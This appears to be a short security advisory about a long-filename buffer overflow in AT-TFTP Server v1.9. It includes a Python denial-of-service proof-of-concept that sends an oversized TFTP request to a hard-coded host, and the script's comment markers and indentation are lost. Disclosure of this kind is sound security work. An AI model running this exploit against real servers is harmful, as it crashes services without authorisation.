TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

---

SUMMARY:

AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp)
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which could be exploited by
remote or local attackers to execute arbitrary commands or cause a denial of service. This flaw is due
to a buffer overflow error when handling an overly long file name (more than 227 bytes) passed to a
"GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system
or crash an affected application.

DETAILS:

Vulnerable systems: AT-TFTP Server v 1.9 and probable prior

Exploit:

#!/usr/bin/python

Buffer Overflow (Long filename) Vulnerability Exploit

This is just a DoS exploiting code

Tested on Windows xp SP2

Requires python and impacket

Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))

---

Liu Qixu
NCNIPC